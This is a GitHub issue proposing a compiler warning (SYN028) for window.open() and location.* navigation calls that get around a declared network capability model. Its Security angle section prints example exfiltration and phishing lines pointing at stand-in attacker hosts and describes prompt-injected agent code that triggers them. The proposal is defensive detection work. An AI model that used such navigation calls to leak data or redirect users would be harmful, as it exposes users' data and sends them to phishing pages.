Skip to content

feat(compiler): SYN028 — warn on window.open() and location.* navigation that bypasses the net capability model (?bs 0.7+) #183

Description

@marcelofarias

Problem

The SYN-series net-bypass family currently catches:

Check Bypass mechanism
SYN007 fetch() — HTTP request via Fetch API
SYN008 WebSocket() — persistent TCP connection
SYN009 XMLHttpRequest() — HTTP request via XHR
SYN027 postMessage() — cross-origin messaging

But navigation APIs are missing:

  • window.open(url, target) — opens a new browsing context and issues an HTTP request to url; the URL is sent to the network
  • location.href = url — causes a full-page navigation; equivalent to a GET request
  • location.assign(url) — same as href assignment
  • location.replace(url) — navigation without history entry
  • location.reload() — reissues the current request

All of these cause real network activity, yet none are declared in any uses {} / reads {} / writes {} capability surface.

Security angle

In bot/agent contexts:

  • Injected content can call window.open("https://attacker.example.com/exfil?data=...") to exfiltrate data as a URL parameter
  • A prompt-injected fn can redirect the user to a phishing page via location.href = "https://phishing.example.com"
  • These are significantly harder for a browser to intercept than fetch() (no ServiceWorker interception, no CSP connect-src unless combined with navigate-to)

This is a real exfiltration vector that the current SYN family misses.

Proposed detection (SYN028)

Fire when a fn body at ?bs 0.7+ contains:

  • window.open(url, ...) or window?.open(url, ...) — where window is a bare global (not obj.window.open)
  • globalThis.open(url, ...) or self.open(url, ...) — same
  • location.href = ... — property assignment on bare location
  • location.assign(url) or location.replace(url) — method calls on bare location
  • location.reload() — same
  • Optional-chain variants: location?.assign(url), window?.open(url)

Excluded:

  • obj.location.href = ...location as a member of a local binding (not the global)
  • fn location(...) / fn open(...) declarations and method shorthands
  • Inside unsafe {} blocks and unsafe "reason" fn bodies

Relation to existing checks

SYN028 completes the net-bypass coverage at the navigation level, the same way SYN027 completed it at the messaging level. window.open is to navigation what fetch is to data transfer.

Prior art in this series

The detection pattern is identical to SYN027 (postMessage): match on the ident token (location, open), check the receiver for ambient vs. non-ambient, check that it's a call (not a bare reference or declaration), suppress in unsafe.

The location.href = ... assignment form is new but straightforward: match on the href member of a bare location receiver, then check the next significant token is = (assignment).

Fits in

After SYN027 lands. SYN028 is the next code in the sequence.

Metadata

Metadata

Assignees

No one assigned

    Labels

    proposalRFC or design proposal

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions